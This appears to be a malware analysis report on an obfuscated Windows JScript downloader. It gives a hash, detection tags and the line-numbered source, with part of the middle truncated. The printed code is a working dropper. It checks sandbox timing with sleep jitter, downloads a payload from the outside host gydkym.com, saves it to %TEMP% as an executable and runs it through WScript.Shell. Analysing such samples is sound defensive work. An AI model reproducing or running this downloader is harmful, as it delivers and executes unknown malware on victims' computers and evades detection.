20160328_418c03f51bae384b6bbf6bad699628f2.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25640dccfbe910e1a0e7340845a407a96f7f0f24fc2bcd83c34dd0ab0d64ace4c21
Evidence
1var Nilzjnce = false;
2var Kksadwofk = "CreateObject";
3var Zufbcuxlm = function Ktdhphrjjd() {return WScript[Kksadwofk]("WScript.Shell");}();
4var Txhptxyje = 123213;
5var Dlnkrca = "MSXML2.XMLHTTP";
6var Ztqjofsm = 2123213;
7var Sckcrvwto = 0;
8function Syjaml(Mrmea){Zufbcuxlm["Run"](Mrmea, Sckcrvwto, Sckcrvwto);};
9function Wsfikynd(){return Dlnkrca;};
10function Qiusya(Eekflixc, Wafzqdxim){return Eekflixc - Wafzqdxim;};
11function Nuumin(){return Kksadwofk;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Nilzjnce = true;
15 @end
16@*/
17var Yewpfb = "";
18if (Nilzjnce)
19{
20function Haqpgi(){return 22;};
21var Lvsuc = 0; var Iojtp = 0;
22function Tyazcmtorm()
23{
24var Kyobjpvl = new this["Date"]();
25var Iodcfarstb = Kyobjpvl["getUTCMilliseconds"]();
26WScript["Sleep"](Haqpgi());
27var Kyobjpvl = new this["Date"]();
28var Qivddeqx = Kyobjpvl["getUTCMilliseconds"]();
29WScript["Sleep"](Haqpgi());
30var Kyobjpvl = new this["Date"]();
31var Dsubz = Kyobjpvl["getUTCMilliseconds"]();
32var Lvsuc = "Ndqfzypcke";
33Lvsuc = Qiusya(Qivddeqx, Iodcfarstb);
34var Iojtp = "Dmopyo";
35Iojtp = Qiusya(Dsubz, Qivddeqx);
36Yewpfb = "open";
37return Qiusya(Lvsuc, Iojtp);
38}
39var Chyreg = false;
40var Pbiht = false;
41for (var Jfgwsnypuf = Sckcrvwto; Jfgwsnypuf < Haqpgi() * 1; Jfgwsnypuf++){if (Tyazcmtorm() != Sckcrvw …
49if (Chyreg && Wxtkv() && Pbiht){
50function Adstuosfvr() {return Zufbcuxlm["ExpandEnvironmentStrings"]("%TEMP%/") + "KT3N2KrBjDl4qKG.exe";};
51 Ywcsdn = Wsfikynd();
52 Mvwje = WScript[Kksadwofk](Ywcsdn);
53 var Dncbhsa = 1;
54 while (Dncbhsa){
55try {
56Mvwje[Yewpfb]("GET", "http://gydkym.com/dk3s8sja", false);
57Mvwje["send"]();
58Tcudbf = "Sleep";
59do {WScript[Tcudbf](Haqpgi() * 11)} while (Mvwje["readystate"] < 4 );
60Dncbhsa = Sckcrvwto;
61} catch(Lulhibver){Dncbhsa = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Dlweka(Axuewmsm) {var Opnyohpjaz = (1, 2, 3, 4, 5, Axuewmsm); return Opnyohpjaz;};
64Scrgcx = WScript[Nuumin()]("ADODB.Stream");
65Ywcsdn = Scrgcx;
66Ywcsdn[Yewpfb]();
67Ywcsdn["type"] = Dlweka(1);
68Ywcsdn["write"](Mvwje["ResponseBody"]);
69Scrgcx["position"] = Dlweka(Sckcrvwto);
70Ywcsdn["SaveToFile"](Adstuosfvr(), Dlweka(2) );
71Scrgcx["close"]();
72Syjaml(Adstuosfvr());
73}
74}
75